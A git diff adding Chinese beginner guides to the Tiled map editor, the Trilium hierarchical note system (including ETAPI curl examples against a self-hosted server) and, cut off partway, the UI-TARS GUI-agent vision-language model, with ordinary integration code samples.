`.tmx`(地图)、`.tsx`(图块集)、JSON 导出、各引擎插件 | +| 典型用户 | 独立开发者、2D 手游、Roguelike、塔防、教育类小游戏 | + +--- + +## 解决什么问题 + +手写二维数组 `level[y][x] = 3` 在 10×10 演示里还行;一旦地图变成 200×100、要分前景/背景/碰撞、还要标出生点和机关,**改一个草地方块就要在代码里找坐标**——既慢又容易和美术不同步。 + +Tiled 解决的是 **2D 关卡内容生产流水线**: + +1. **可视化编辑**:笔刷、填充、地形笔刷(Terrain Brush)、图章(Stamp)批量铺砖 +2. **分层组织**:地形、装饰、碰撞、对象分图层,渲染顺序即图层顺序 +3. **语义标注**:瓦片、图层、对象都可挂自定义属性(`collides: true`、`hp: 50`) +4. **引擎无关**:导出 TMX/JSON,运行时由 Phaser、Godot 等加载,关卡迭代不必重新编译游戏 + +一句话:**Tiled 画地图,引擎跑逻辑**——和用 Figma 画界面、用 React 写交互是同一分工。 + +--- + +## 核心概念 + +### 1. 地图(Map)与方向(Orientation) + +一张地图有尺寸(宽×高,单位是**格数**)、瓦片大小(如 32×32 像素)、以及**投影方向**: + +| 方向 | 典型游戏 | +|---|---| +| Orthogonal(正交) | 大多数平台跳跃、RPG、塔防 | +| Isometric(等距) | 模拟经营、部分 RPG | +| Hexagonal(六边形) | 战棋、文明类 | +| Staggered Isometric / Hex | 交错排列的等距或六边形 | + +新建地图时可选「无限地图」(Infinite),适合大型开放世界式横向卷轴;小关卡用固定尺寸即可。这些选项之后都可改,第一次不必纠结完美。 + +### 2. 图块集(Tileset)与全局 ID(GID) + +图块集可以是一张**大图**(image collection)或多张**散图**。每个瓦片在图块集中有本地 ID;在整张地图里则使用**全局 ID(GID)**。 + +重要约定(TMX 格式): + +- **GID = 0** 表示「这一格没有瓦片」 +- 多个图块集时,第二个图块集的 ID 接在第一个后面(例如两套各 8 块:1–8 与 9–16) +- GID 高位可能编码翻转标志(水平/垂直/对角翻转),引擎加载时会解码 + +建议:**图块集存成独立 `.tsx` 文件**,不要嵌进每张地图——碰撞形状、地形规则、动画帧可在图块集里维护一次,所有地图共享。 + +### 3. 图层类型 + +Tiled 支持四类图层(可嵌套在 Group Layer 里当文件夹用): + +| 类型 | 作用 | +|---|---| +| **Tile Layer** | 二维瓦片阵列,适合大面积重复地形 | +| **Object Layer** | 矩形、椭圆、点、折线、多边形、瓦片对象;可脱离网格放置 | +| **Image Layer** | 单张前景/背景图,功能较简单 | +| **Group Layer** | 组织图层树,可整体偏移、调透明度 | + +对象层里的 **Class**(旧版 UI 叫 Type)可定义类型名和显示颜色;**对象引用属性**(`type: object`)能在编辑器里画箭头连接「开关 → 门」,方便关卡逻辑编排。 + +### 4. 属性(Properties)与碰撞 + +几乎所有元素都能挂 **key/value 属性**,类型包括 string、int、float、bool、color、file、object 等。常见用法: + +- 在瓦片上设 `collides: true`,运行时按属性生成碰撞体 +- 在对象上设 `script: open_chest.lua` +- 在地图级设 `music: forest_theme.ogg` + +**Tile Collision Editor** 可为单个瓦片绘制碰撞多边形,比「用一整格矩形」更精细(例如斜坡、半格平台)。 + +### 5. 地形笔刷(Terrain)与动画 + +**Terrain Brush**(由早期 Wang 瓦片演化而来)让相邻草地/泥土/水面自动选过渡块,大幅减少手动画边界。 +**Tile Animation** 可在图块集里为帧序列设帧时长,Tiled 预览循环播放;引擎需自行实现动画 tick。 + +### 6. 导出与引擎集成 + +- 原生 **TMX / TSX**(XML)可读性高,适合自研解析或 CI +- **File → Export As** 可出 JSON,Phaser 等直接 `load.tilemapTiledJSON` +- Godot 4:`TileMapLayer` 可直接导入 `.tmx` +- 插件系统支持 JavaScript 扩展导出格式(如 GameMaker `.yy`) + +--- + +## 代码示例 + +### 示例 1:Phaser 3 加载 Tiled 导出的 JSON 地图 + +在 Tiled 中画好地图后,用 **File → Export As → JSON** 得到 `level1.json`,并保证图块集 PNG 路径正确。Phaser 侧: + +```js +import Phaser from 'phaser'; + +const config = { + type: Phaser.AUTO, + width: 800, + height: 600, + physics: { default: 'arcade', arcade: { gravity: { y: 400 } } }, + scene: { preload, create }, +}; + +new Phaser.Game(config); + +function preload() { + this.load.image('tiles', 'assets/tilesets/platformer.png'); + this.load.tilemapTiledJSON('map', 'assets/maps/level1.json'); + this.load.spritesheet('player', 'assets/player.png', { + frameWidth: 32, + frameHeight: 32, + }); +} + +function create() { + const map = this.make.tilemap({ key: 'map' }); + const tileset = map.addTilesetImage('platformer', 'tiles'); + const groundLayer = map.createLayer('Ground', tileset, 0, 0); + const decorLayer = map.createLayer('Decor', tileset, 0, 0); + + // 在 Tiled 里给瓦片加了自定义属性 collides=true 的,批量开启碰撞 + groundLayer.setCollisionByProperty({ collides: true }); + + this.player = this.physics.add.sprite(64, 64, 'player'); + this.physics.add.collider(this.player, groundLayer); + + // 读取对象层里的出生点(Tiled 里对象名 spawn) + const spawn = map.findObject('Objects', (obj) => obj.name === 'spawn'); + if (spawn) { + this.player.setPosition(spawn.x, spawn.y); + } + + decorLayer.setDepth(1); + this.cameras.main.setBounds(0, 0, map.widthInPixels, map.heightInPixels); + this.cameras.main.startFollow(this.player); +} +``` + +要点:`createLayer` 的图层名必须与 Tiled 里 **完全一致**;`setCollisionByProperty` 依赖你在图块或瓦片上预先设好的属性,而不是在代码里硬编码瓦片编号。 + +### 示例 2:用 Python 解析 TMX 提取碰撞格(无引擎依赖) + +适合自研引擎、工具链或服务器校验关卡。TMX 是 XML,可用标准库读取: + +```python +#!/usr/bin/env python3 +"""从 TMX 提取带 collides 属性的瓦片坐标,输出为简单 JSON。""" + +import json +import xml.etree.ElementTree as ET +from pathlib import Path + +def parse_tmx_collision(tmx_path: str) -> list[dict]: + root = ET.parse(tmx_path).getroot() + tile_collides: dict[int, bool] = {} + + # 1. 读图块集里「按瓦片 ID」定义的属性 + for ts in root.findall('tileset'): + first_gid = int(ts.get('firstgid', 1)) + for tile in ts.findall('tile'): + local_id = int(tile.get('id')) + gid = first_gid + local_id + for prop in tile.findall("properties/property"): + if prop.get('name') == 'collides' and prop.get('value') == 'true': + tile_collides[gid] = True + + solids: list[dict] = [] + # 2. 遍历每个瓦片层 + for layer in root.findall('layer'): + name = layer.get('name', 'layer') + data = layer.find('data') + if data is None or data.get('encoding') != 'csv': + continue + width = int(layer.get('width')) + gids = [int(x) for x in data.text.split(',') if x.strip()] + for index, gid in enumerate(gids): + if gid == 0: + continue + # 去掉 Tiled 翻转标志位(高三位) + real_gid = gid & 0x1FFFFFFF + if tile_collides.get(real_gid): + x = index % width + y = index // width + solids.append({'layer': name, 'x': x, 'y': y, 'gid': real_gid}) + return solids + +if __name__ == '__main__': + path = Path('assets/maps/level1.tmx') + result = parse_tmx_collision(path) + print(json.dumps(result, indent=2)) + print(f'# {len(result)} solid cells') +``` + +这段脚本体现了 TMX 的核心思路:**渲染数据(GID 网格)与游戏语义(属性)写在同一文件**,工具链可以只提取自己需要的部分。 + +--- + +## 推荐工作流(零基础第一次上手) + +1. **安装**:[mapeditor.org](https://www.mapeditor.org/) 下载对应平台安装包,或通过包管理器(如 `brew install --cask tiled`)。 +2. **建工程**:File → New → New Project,把 `maps/`、`tilesets/` 加进 Project 视图。 +3. **建图块集**:New Tileset → 选 PNG → 设 Tile size(与美术切图一致)→ 保存为 `.tsx`。 +4. **建地图**:New Map → Orthogonal → 32×32 → 保存 `level1.tmx`。 +5. **画关卡**:用 Stamp Brush(`B`)从图块集选块涂抹;`R` 矩形选区复制图章;对象层(`O`)放出生点、敌人区域。 +6. **标属性**:选中瓦片或对象 → 属性面板添加 `collides`、`type` 等。 +7. **导出 / 联调**:按目标引擎选 TMX 或 JSON,在游戏里加载验证碰撞与图层深度。 + +快捷键备忘:`Ctrl+Z` 撤销、`B` 笔刷、`E` 橡皮、`F` 填充、`T` 对象层插入瓦片对象、`Ctrl+S` 保存。 + +--- + +## 与常见引擎的对应关系 + +| 引擎 / 框架 | 加载方式 | +|---|---| +| **Godot 4** | 导入 `.tmx` 为 TileMapLayer;对象层 → 场景节点需插件或自解析 | +| **Phaser 3** | `load.tilemapTiledJSON` + `createLayer` | +| **LÖVE** | 社区库 `STI`(Simple Tiled Implementation)解析 TMX | +| **Flame** | `flame_tiled` 包的 `TiledComponent` | +| **Unity** | 官方或第三方 Tiled Importer(如 SuperTiled2Unity) | +| **libGDX** | `TmxMapLoader` | + +引擎各不相同,但都吃同一套概念:**图层名、图块集名、GID、对象名、自定义属性**——在 Tiled 里命名规范比背 API 更重要。 + +--- + +## 常见坑与建议 + +1. **图块集路径**:移动 PNG 后 TMX 里相对路径断裂;用 Project 视图统一管理,提交 Git 时保持目录结构。 +2. **GID 与翻转位**:自己写解析器时记得 `gid & 0x1FFFFFFF`,否则碰撞格会错位。 +3. **嵌入 vs 外部图块集**:多地图共享同一套砖,务必用外部 `.tsx`;单张实验图可临时嵌入。 +4. **对象坐标**:对象层坐标是**像素**,瓦片层是**格**;混用时注意 `y` 轴与引擎是否一致(部分引擎原点在左上)。 +5. **Class 改名**:Tiled 1.9 起「Type」改叫「Class」,老教程看到 `type` 时对照文档即可。 +6. **大地图性能**:超大单层瓦片层在弱设备上绘制昂贵;可拆多个 Tile Layer 或按区块导出。 + +--- + +## 延伸学习 + +- 官方手册:[Introduction](https://doc.mapeditor.org/en/stable/manual/introduction/)、[Layers](https://doc.mapeditor.org/en/stable/manual/layers/)、[TMX Format](https://doc.mapeditor.org/en/stable/reference/tmx-map-format/) +- 视频:[GamesFromScratch Tiled 系列](https://www.youtube.com/results?search_query=GamesFromScratch+Tiled) +- 示例资源:安装目录 `examples/` 下的 `tmw_desert_spacing.png` 等 +- 与本仓库其他笔记:Phaser / Godot / Flame / LÖVE 条目中的 Tilemap 章节可与本文对照阅读 + +--- + +## 小结 + +Tiled 不是游戏引擎,而是**关卡数据的 IDE**:瓦片负责「长什么样」,图层负责「叠放顺序」,对象与属性负责「玩起来什么意思」。学会 Tiled,等于学会把关卡从代码里剥离成可版本管理、可协作编辑的资产文件——这是 2D 游戏开发里投入产出比最高的技能之一。 diff --git a/src/content/docs/projects/trilium.md b/src/content/docs/projects/trilium.md new file mode 100644 index 000000000..7f0c14424 --- /dev/null +++ b/src/content/docs/projects/trilium.md @@ -0,0 +1,280 @@ +--- +title: Trilium — 树形层级笔记系统 +来源: https://github.com/zadam/trilium +日期: 2026-06-13 +分类: CLI +子分类: 编辑器与 IDE +provenance: pipeline-v3 +--- + +## 日常类比:把个人知识库做成一棵「永远可展开的书架」 + +想象你在整理一间私人图书馆:不是按文件夹名 `2024/项目/会议.md` 归档,而是给每本书、每张便签都挂在一个 **可无限分叉的书架节点** 上。某本《缓存设计》可以同时出现在「后端架构」和「面试复习」两个分支下——读者从任一入口都能翻到同一本书,改一处内容,两处同步更新。 + +**Trilium Notes** 就是这样一棵 **树形层级笔记系统**([zadam/trilium](https://github.com/zadam/trilium),社区延续版 [TriliumNext/Trilium](https://github.com/TriliumNext/Trilium)):每个节点是一则 **Note(笔记)**,节点之间通过 **Branch(分支)** 组成父子树;同一则笔记可被 **克隆(Clone)** 到多个父节点下,而不复制正文。笔记存进本地 **SQLite** 数据库,桌面端单机可用,也可搭 **自托管同步服务器** 在多设备间同步;进阶用户还能用 **JavaScript 脚本** 和 **ETAPI(REST)** 把 Trilium 变成可编程的个人知识操作系统。 + +零基础路径:**安装桌面版 → 在根节点下建子笔记 → 试克隆与属性 → 全文搜索 → 了解同步与备份**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:文件夹只能「单路径归档」,跨主题材料难复用 + +项目笔记、读书笔记、代码片段常同时属于多个主题。Trilium 的 **克隆** 让一条笔记在树上出现多次,**内容只有一份**;改标题或正文,所有挂载点一起更新。这比复制文件到多个目录更符合真实思维的多入口结构。 + +### 痛点 2:笔记一多,纯文件系统性能与功能都吃力 + +官方文档说明:为支持克隆、关系图、版本历史等特性,并保证 **十万级笔记** 仍流畅,数据放在 **SQLite** 而非散落的 `.md` 文件(可用导出 Markdown/HTML 做互操作)。性能与功能之间做了明确取舍:**本地优先 + 数据库 + 可选同步**。 + +### 痛点 3:富文本、代码、导图、表格混在一套系统里 + +除 WYSIWYG **Text** 笔记外,还有 **Code**(含语法高亮)、**Canvas**(Excalidraw 手绘)、**Mermaid**、**Mind map**、**Geo map**、**Saved Search**、**Render Note** 等类型。一篇技术调研可以在同一棵树里放正文、脚本、关系图,而不必在 Notion + VS Code + draw.io 之间来回跳。 + +### 痛点 4:需要可扩展,而不只是「写字」 + +Trilium 内置 **前后端 JavaScript 运行时**:前端脚本可改工具栏、侧边栏;后端脚本可定时任务、批量改笔记。对外还有 **ETAPI** 供 curl、Python、CI 读写笔记——适合把 Trilium 接入自动化工作流。 + +--- + +## 核心概念拆解 + +### 1. Note(笔记)——实体本身 + +每条笔记有 **标题**、**内容**、**类型**(text、code、file、canvas…)。**Note 不携带「在树的哪里」的信息**;位置由 Branch 表达。没有专门的「文件夹类型」——**任何笔记都可以有子笔记**,既是「文件」也是「目录」。 + +### 2. Branch(分支)——树上的挂载边 + +Branch 连接 **父笔记 ID** 与 **子笔记 ID**,还可带 **prefix**(子节点在 UI 上的排序前缀)。删除分支只是去掉一种挂载关系;若笔记再无其他分支且被标记删除,才进入软删除流程。 + +### 3. Clone(克隆) vs Copy(复制) + +| 操作 | 内容 | 树结构 | 典型用途 | +|------|------|--------|----------| +| **Clone** | 共享同一 noteId | 多父节点各有一条 branch | 同一概念出现在「工作」「学习」两区 | +| **Copy** | 新建独立 note | 新子树 | 基于模板分叉、互不影响的副本 | + +入门时记住:**克隆 = 多个书架位置指向同一本书**。 + +### 4. Root note 与 Workspace + +整棵树有一个 **root note**。**Workspace** 可把树的一部分「聚焦」展示(例如只显示工作相关子树),减少日常导航噪音,适合个人/工作笔记分区。 + +### 5. Attributes(属性):Label 与 Relation + +- **Label**:键值标签,如 `#status=done`、`#priority=high`。系统内置 `#run=frontendStartup` 等,用于脚本生命周期。 +- **Relation**:笔记之间的有向链接,如 `#author` 指向另一则笔记,可配合 **Promoted attributes** 在表格/看板里结构化展示。 +- **Saved Search**:把搜索条件存成笔记,结果动态刷新——类似「智能文件夹」。 + +### 6. 架构:前端 + 后端(经典 Web 应用) + +| 层 | 运行环境 | 职责 | +|----|----------|------| +| **Frontend** | 桌面壳内嵌浏览器 / 浏览器访问 Server | UI、编辑、部分脚本 | +| **Backend** | Node.js | 持久化、加密、同步、ETAPI、后端脚本 | + +创建笔记、写库必须在 **backend** 完成;前端脚本通过 `api.runOnBackend()` 委托。理解这一 split,是写 Trilium 脚本不踩坑的关键。 + +### 7. 同步、加密与删除 + +- **同步**:自托管 Server 或多设备通过同一实例同步 SQLite 变更;移动端可用 PWA 或第三方客户端(如 iOS 的 Trinote 连接自建服务)。 +- **加密**:支持 **按笔记粒度** 加密,适合存凭证或敏感日记。 +- **软删除**:删除后默认 **7 天内** 可在「Recent Changes」里 **Undelete**;过期后内容才会被擦除(仍建议定期 **Backup**)。 + +### 8. 搜索 + +- **标题跳转**:模糊匹配,快速 `Go to note`。 +- **全文搜索**:可限定父笔记、深度等(官方 Advanced Search 语法)。 +- 与 Saved Search、脚本 API 的 `searchForNotes()` 可组合,做个人 CRM、任务看板等。 + +### 9. Trilium 不是什么 + +它不是 Git 友好的「一笔记一 md 文件」仓库(虽然能导出);不是多人实时协作文档(共享以 **发布/分享** 只读页面为主);也不是块级双链大纲(那是 Logseq / Roam 的主场)。Trilium 的强项是 **深树 + 克隆 + 属性 + 脚本 + 大规模单库**。 + +--- + +## 安装与第一次打开 + +### 桌面端(推荐零基础) + +1. 从 [TriliumNext Releases](https://github.com/TriliumNext/Trilium/releases) 或原仓库 [zadam/trilium Releases](https://github.com/zadam/trilium/releases) 下载对应平台安装包。 +2. 首次启动即创建本地数据库(数据目录可在 **About** 窗口查看,一般为应用配置目录下的 SQLite 文件)。 +3. 在 root 下 **Create note** → 选 **Text**,写第一则笔记;对其 **Create child note** 体会树形结构。 +4. 右键某笔记 → **Clone to…** 挂到第二个父节点,观察两处编辑同步。 +5. 打开 **Recent changes**,熟悉软删除与恢复入口。 + +### 自托管 Server(可选,多设备) + +1. 使用 Docker 或官方文档部署 Trilium Server。 +2. 桌面端 **Options → Sync** 配置服务器 URL 与凭证。 +3. 浏览器访问同一 Server 亦可编辑(注意 HTTPS 与认证)。 + +入门阶段 **只跑桌面单机** 即可;同步与 ETAPI 可在树超过几百则后再学。 + +--- + +## 代码示例 1:前端启动脚本 —— 工具栏「一键新建子笔记」 + +下列脚本摘自官方 [New Task launcher button](https://docs.triliumnotes.org/user-guide/scripts/frontend-basics/examples/new-task-button) 模式,改为在 **当前活动笔记** 下创建带日期的子笔记(适合日记/项目日志)。 + +**步骤:** + +1. 新建 **Code** 笔记,语言选 **JavaScript (frontend)**。 +2. 在 **Attributes** 添加 label:`#run=frontendStartup`(Trilium 每次启动前端时自动执行)。 +3. 粘贴代码并重启应用。 + +```javascript +// 语言:JavaScript (Trilium frontend) +// 属性:#run=frontendStartup + +api.addButtonToToolbar({ + title: "今日子笔记", + icon: "calendar", + shortcut: "alt+d", + action: async () => { + const activeNote = await api.getActiveTabNote(); + if (!activeNote) { + api.showMessage("请先打开一个父笔记"); + return; + } + + const newNoteId = await api.runOnBackend(async (parentNoteId) => { + const title = api.dayjs().format("YYYY-MM-DD"); + const { note } = await api.createTextNote(parentNoteId, title, ""); + // 给新笔记打标签,便于 Saved Search 汇总 + note.addLabel("dateNote", title); + return note.noteId; + }, [activeNote.noteId]); + + await api.waitUntilSynced(); + await api.activateNewNote(newNoteId); + } +}); +``` + +**阅读要点:** + +- `addButtonToToolbar` 在启动栏增加按钮;`icon` 使用 [Boxicons](https://boxicons.com/) 名(不含 `bx-` 前缀)。 +- `runOnBackend` 内的代码在 **Node 后端** 执行——**创建笔记必须在这里**。 +- `waitUntilSynced` + `activateNewNote` 保证 UI 已收到新 note 再跳转。 +- `#run=frontendStartup` 是系统 label;移动端需改用 `#run=mobileStartup`。 + +--- + +## 代码示例 2:ETAPI —— 用 HTTP 自动写入笔记 + +[ETAPI](https://docs.triliumnotes.org/developer-guide/architecture/api) 是面向第三方的 REST 接口,使用 **Token 认证**(在 Trilium **Options → ETAPI** 创建)。适合 cron、Obsidian 迁移脚本、CI 把构建日志写入知识库。 + +**创建一则文本笔记(curl):** + +```bash +# 环境变量 +export TRILIUM_URL="https://trilium.example.com" +export ETAPI_TOKEN="your-etapi-token-here" +export PARENT_NOTE_ID="root" # 或具体父笔记 ID + +curl -sS -X POST "${TRILIUM_URL}/etapi/notes" \ + -H "Authorization: ${ETAPI_TOKEN}" \ + -H "Content-Type: application/json" \ + -d "{ + \"parentNoteId\": \"${PARENT_NOTE_ID}\", + \"title\": \"部署记录 2026-06-13\", + \"type\": \"text\", + \"content\": \"

CI 构建 #482 已通过,镜像 tag: v1.2.3

\" + }" +``` + +**按标题搜索笔记 ID:** + +```bash +curl -sS -G "${TRILIUM_URL}/etapi/notes" \ + -H "Authorization: ${ETAPI_TOKEN}" \ + --data-urlencode "search=#deployRecord" \ + | jq '.[0].noteId' +``` + +**阅读要点:** + +- Text 笔记 `content` 多为 **HTML** 片段(与编辑器内部表示一致)。 +- 搜索参数语法与 UI 高级搜索相通,可配合 label/relation 过滤。 +- 自托管时务必 **HTTPS + 强 Token**;ETAPI 权限等同登录用户,勿把 Token 提交进 Git。 + +--- + +## 代码示例 3:Saved Search 笔记 —— 用属性做「动态任务列表」 + +不必写代码也能做结构化视图:建一则 **Saved Search** 类型笔记,内容填搜索表达式,Trilium 会把匹配笔记列为子结果(具体语法见官方 Search 文档)。 + +```text +#status = open +#priority >= 2 +note.type = text +orderBy #priority desc +``` + +配合 Task Manager 等 **Advanced Showcases**(安装包内置示例树),可看到 label、relation、模板笔记如何组成简易看板。零基础可先手动给任务笔记加 `#status=open`,再建 Saved Search 验证筛选。 + +--- + +## 推荐笔记树结构(零基础 7 天) + +| 天 | 动作 | 目标 | +|----|------|------| +| 1 | 在 root 下建 `Inbox` 与 `Archive` | 理解父子树 | +| 2 | 把一条笔记 **Clone** 到第二个父节点 | 理解共享内容 | +| 3 | 给笔记加 `#topic=xxx` label | 熟悉属性面板 | +| 4 | 试 **Hoist note**(聚焦子树) | 大库导航 | +| 5 | 建 Saved Search 汇总带 `#status=open` 的笔记 | 动态列表 | +| 6 | 导出子树为 Markdown 备份 | 互操作与逃生 | +| 7 | Options 里做一次 **Backup** 并记录数据目录 | 数据安全感 | + +--- + +## 与相近工具对比(简表) + +| 维度 | Trilium | Logseq | Joplin | +|------|---------|--------|--------| +| 核心结构 | 深树 + 克隆 | 块大纲 + 双链 | 笔记本/笔记列表 | +| 存储 | SQLite | 本地 md/org | 数据库/文件 | +| 脚本扩展 | JS 前后端 + ETAPI | 插件 API | 插件 | +| 块级引用 | Relation / 链接 | `((block-id))` | 较弱 | +| 自托管同步 | ✅ Server | 有限/第三方 | ✅ Joplin Server | +| 适合 | 超大单库、树+脚本 | 日记+双链图谱 | 加密同步、移动端 | + +若你从 Evernote 迁移,可用内置 **ENEX 导入**;从 Markdown 文件夹来则可用导入向导或 ETAPI 批量写入。 + +--- + +## 常见问题 + +**Q:Note 和 Branch 为什么要分开?** +同一则笔记(Note)可被多条 Branch 挂到不同父下(克隆);改 Note 一次,所有 Branch 展示点同步更新。 + +**Q:数据存在哪?怎么备份?** +本地 SQLite 在应用数据目录(**Help → About** 可见路径)。定期用 **File → Backup database**,并把备份文件放到网盘或 Git LFS 之外的安全存储。 + +**Q:zadam/trilium 和 TriliumNext 是什么关系?** +原作者 [zadam/trilium](https://github.com/zadam/trilium) 后由社区 [TriliumNext/Trilium](https://github.com/TriliumNext/Trilium) 继续维护,文档站点 [docs.triliumnotes.org](https://docs.triliumnotes.org) 以 Next 为主。学习概念两者一致,安装时选活跃发行版即可。 + +**Q:能和纯 Markdown 工作流共存吗?** +可以 **导出/导入 Markdown**,日常在 Trilium 内编辑;需要 Git diff 时对导出目录做版本管理,或只用 Trilium 做「主编库」、定期导出快照。 + +**Q:脚本写错了会怎样?** +错误脚本可能导致启动栏异常;可在安全模式或数据库备份恢复后,删除问题 Code 笔记上的 `#run=frontendStartup` label。 + +--- + +## 延伸资源 + +- 用户指南:[docs.triliumnotes.org](https://docs.triliumnotes.org) +- 脚本 API(前端):[Script API — Frontend](https://docs.triliumnotes.org/script-api/frontend/) +- 脚本 API(后端):[Script API — Backend](https://docs.triliumnotes.org/script-api/backend/) +- 架构与 ETAPI:[Developer Guide — API](https://docs.triliumnotes.org/developer-guide/architecture/api) +- 官网特性概览:[triliumnotes.org](https://triliumnotes.org) +- 社区仓库:[TriliumNext/Trilium](https://github.com/TriliumNext/Trilium) + +--- + +## 小结 + +Trilium 把个人知识库建模为一棵 **可无限加深、可克隆复用** 的笔记树:Note 存内容,Branch 定位置,Label/Relation 加结构,Saved Search 做动态视图。SQLite 换性能与克隆语义,JavaScript 与 ETAPI 则把「写作工具」升级为 **可脚本化的本地知识服务**。零基础从桌面版建树、克隆、属性开始;当笔记上万或需要跨设备同步时,再叠加 Server、脚本与 API——这正是「树形层级笔记系统」区别于普通 Markdown 文件夹的核心价值。 diff --git a/src/content/docs/projects/ui-tars.md b/src/content/docs/projects/ui-tars.md new file mode 100644 index 000000000..9ebf95458 --- /dev/null +++ b/src/content/docs/projects/ui-tars.md @@ -0,0 +1,257 @@ +--- +title: UI-TARS — 原生 GUI Agent 视觉语言模型 +来源: 'https://github.com/bytedance/UI-TARS' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 是什么 + +UI-TARS 是字节跳动 Seed 团队开源的**原生 GUI Agent 视觉语言模型(VLM)**——不是「Playwright 外面再套一层 prompt」的胶水框架,而是把**感知、推理、定位(grounding)、记忆**都训进同一个多模态模型里,端到端输出「下一步该怎么点屏幕」。 + +日常类比:传统 GUI 自动化像给盲人配一本**超厚的操作手册**——「第 3 页第 2 段,把鼠标移到坐标 (240, 380) 单击」。手册里任何一个坐标写错,或者软件改版把按钮挪了,整条流程就废。UI-TARS 的做法更像雇一个**真的会看屏幕的实习生**:你给他一张当前桌面的截图,说「帮我把这份 PDF 存到桌面」,他先在心里想一遍(Thought),再告诉你「我要点左上角 File 菜单」(Action + 坐标),你的电脑执行器再去动鼠标键盘。 + +整条链路可以压成四步: + +```text +截图 → UI-TARS 模型 → "Thought + Action" 文本 → action_parser → pyautogui / 系统输入 +``` + +仓库主体是**模型权重 + 推理/后处理工具**(`pip install ui-tars`),不是开箱即用的桌面 App。想零配置在本机用,应看同生态的 [[ui-tars-desktop]];想在浏览器里用,社区常见接法是 [[midscene]]。 + +当前公开主线版本包括 UI-TARS-1.5(强化学习增强的「先想再做」推理)、以及 2025 年 9 月发布的 UI-TARS-2(GUI / 游戏 / 代码 / 工具调用一体化)。Hugging Face 上提供 2B / 7B / 72B 等规格,桌面场景官方推荐 **7B-DPO** 或 **72B-DPO**。 + +## 为什么重要 + +如果你关心「AI 怎么真的去操作电脑」,下面几件事绕不开 UI-TARS 这条技术路线: + +- **「原生 Agent 模型」vs「框架拼模型」**:[[stagehand]]、[[browser-use]] 等多是「通用 LLM + 专用 prompt / DOM 解析」;UI-TARS 从训练数据阶段就把 GUI 动作空间、坐标体系、历史轨迹写进模型,OSWorld、AndroidWorld 等在线基准上 1.5 版曾达到当时 SOTA 水平(例如 OSWorld 100 步 **42.5%** 成功率)。 +- **Thought-Action 双流输出**:1.5 引入类 System-2 推理——模型先输出 `Thought:` 解释意图,再输出 `Action:`。Minecraft 等长程任务上,带 Thought 的版本明显优于纯动作版,说明「多想一步」对 GUI 任务同样有效。 +- **统一动作空间跨平台**:同一套语义动作(`click`、`type`、`scroll`、`drag`…)可映射到桌面;移动端另有 `long_press`、`press_home` 等扩展。框架开发者不必为每个 OS 单独设计 planner。 +- **生态分叉清晰**:模型仓库(本 repo)→ 桌面壳(UI-TARS-desktop / Agent TARS)→ 浏览器 SDK(Midscene)。学 UI-TARS 等于理解这条链的「大脑」层,而不是某个单一产品 UI。 + +## 核心要点 + +零基础先把下面五个概念对齐,后面读代码和论文都不会晕。 + +### 1. 原生 GUI Agent(Native Agent) + +传统方案常见流水线:`OCR/元素检测 → 规则或 LLM 规划 → 脚本执行`,模块多、误差累积。UI-TARS 论文的核心主张是:**一个 VLM 同时负责看界面、想步骤、出动作**,减少手工规则和预定义 workflow。代价是模型体量大、部署要吃 GPU,且幻觉会直接变成误点。 + +### 2. Thought + Action 输出格式 + +模型典型单行或多行文本,结构固定: + +```text +Thought: 我看到登录页,需要先点邮箱输入框。 +Action: click(start_box='(512,340)') +``` + +- `Thought`:可解释性 + 推理链,评测和 debug 时非常有用;生产环境也可选择剥离(`GROUNDING` 模板只出 Action)。 +- `Action`:受限语法 DSL,如 `click`、`double_click`、`type`、`hotkey`、`scroll`、`drag` 等,参数里带 `start_box` / `end_box` 坐标或文本内容。 + +### 3. 坐标体系与 `factor=1000` + +UI-TARS 基于 Qwen2.5-VL 系,使用**绝对像素坐标**,且训练时常把坐标归一化到 0–1000 的相对网格,再按**原图宽高**映射回真实屏幕。后处理时必须传入: + +- `origin_resized_height` / `origin_resized_width`:喂给模型前截图 resize 后的尺寸(通常与模型输入一致) +- `image_height` / `image_width`:执行点击时的真实屏幕分辨率 + +坐标搞错一位,表现就是「模型明明说点了按钮,鼠标却飞到角落」——这是 UI-TARS 集成里**第一大坑**,官方单独写了 `README_coordinates.md`。 + +### 4. 三套 Prompt 模板 + +`codes/ui_tars/prompt.py` 里按场景选模板,不要混用: + +| 模板 | 场景 | 特点 | +|------|------|------| +| `COMPUTER_USE` | Windows / macOS / Linux 桌面 | 鼠标、键盘、拖拽、滚动 | +| `MOBILE_USE` | 手机 / 模拟器 | `long_press`、`open_app`、`press_back` 等 | +| `GROUNDING` | 评测 / 训练 | 只输出 Action,不要 Thought,延迟更低 | + +对话历史里要交替塞入「用户任务 + 截图」与「助手 Thought/Action」,形成多步 agent loop。 + +### 5. 部署与后处理分工 + +| 阶段 | 做什么 | 常用工具 | +|------|--------|----------| +| 部署推理 | 加载 7B/72B 权重,OpenAI 兼容 API | vLLM、HuggingFace Inference Endpoints | +| 后处理 | 解析 Action 字符串 → 结构体 → 可执行代码 | `ui_tars.action_parser` | +| 执行 | 真机点击 / 浏览器自动化 | pyautogui、Playwright、UI-TARS-desktop | + +**模型只负责「说」;「做」要靠外层 executor。** 这和 Anthropic Computer Use、[[midscene]] 的分工类似,但 UI-TARS 的动作语法是专有的。 + +## 实践案例 + +### 案例 1:把模型输出解析成 pyautogui 代码 + +安装官方后处理包后,最小闭环如下(摘自仓库 README,略作注释): + +```python +from ui_tars.action_parser import ( + parse_action_to_structure_output, + parsing_response_to_pyautogui_code, +) + +# 模型返回的原始字符串(通常来自 chat completion) +response = ( + "Thought: Click the submit button\n" + "Action: click(start_box='(100,200)')" +) + +# 喂给模型前的截图尺寸(与推理时 resize 一致) +original_image_width, original_image_height = 1920, 1080 + +parsed_dict = parse_action_to_structure_output( + response, + factor=1000, + origin_resized_height=original_image_height, + origin_resized_width=original_image_width, + model_type="qwen25vl", +) +print(parsed_dict) + +# 映射到真实屏幕分辨率,生成可 exec 的 pyautogui 片段 +parsed_pyautogui_code = parsing_response_to_pyautogui_code( + responses=parsed_dict, + image_height=original_image_height, + image_width=original_image_width, +) +print(parsed_pyautogui_code) +# 典型输出类似: pyautogui.click(192, 216, button='left') +``` + +这段代码解决的是:**字符串 Action → 像素坐标 → 宿主环境输入 API**。集成任何 executor(不限 pyautogui)都应先走 `parse_action_to_structure_output`。 + +### 案例 2:用 vLLM 起 OpenAI 兼容服务并跑一步推理 + +本地有 GPU 时,官方 README_v1 推荐 